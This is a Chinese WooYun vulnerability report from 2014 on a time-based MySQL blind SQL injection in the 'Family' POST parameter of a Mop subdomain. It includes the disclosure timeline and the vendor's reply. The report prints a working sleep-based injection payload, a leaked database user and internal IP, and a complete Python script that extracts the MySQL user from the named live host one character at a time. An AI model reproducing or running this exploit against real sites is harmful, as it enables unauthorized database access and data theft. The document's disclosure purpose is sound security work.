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缺陷编号:wooyun-2014-081743

漏洞标题:猫扑mop分站MySQL盲注(附猜解python脚本)

相关厂商:猫扑

漏洞作者: lijiejie

提交时间:2014-11-02 16:40

修复时间:2014-12-17 16:42

公开时间:2014-12-17 16:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2014-11-02: 细节已通知厂商并且等待厂商处理中
2014-11-04: 厂商已经确认,细节仅向厂商公开
2014-11-14: 细节向核心白帽子及相关领域专家公开
2014-11-24: 细节向普通白帽子公开
2014-12-04: 细节向实习白帽子公开
2014-12-17: 细节向公众公开

简要描述:

猫扑mop分站MySQL盲注

详细说明:

注入点:

POST http://51auto.mop.com/hclist_/
Family=aaa'+(select(0)from(select(sleep(10)))v)+'bbb&file1=1&happyUserId=-


参数Family可注入。

漏洞证明:

MySQL user:
appro2@172.31.2.7

mop_sqli_1.png


脚本附上:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import hashlib
import urllib
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.']
print '[%s] Start to retrive MySQL User' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 25):
found=False
while found==False:
for payload in payloads:
timeout_count = 0
for j in range(1,3): # 2 times to confirm
try:
params = {
'Family': "aaa'+(select(0)from(select(sleep(ascii(mid(user()from(%s)for(1)))=%s)))v)+'bbb" % (i, ord(payload)),
'file1': 1,
'happyUserId': '-'
}
params['Family'] = params['Family'] * 5
body = urllib.urlencode(params)
conn = httplib.HTTPConnection('51auto.mop.com', timeout=5)
conn.request(method='POST',
url='/hclist_/',
body=body,
headers=headers)
conn.getresponse().read()
conn.close()
print '.',
break
except Exception, e:
timeout_count += 1
time.sleep(0.01)
if timeout_count == 2:
user += payload
print '\n[In progress] now user is %s' % user
found = True
break

print '\nFinally, MySQL user is', user

修复方案:

参数过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2014-11-04 12:37

厂商回复:

谢谢,这个网站实际上不是猫扑的,有猫扑的二级域名是因为以前合作过,我们会想办法尽量通知对方,感谢

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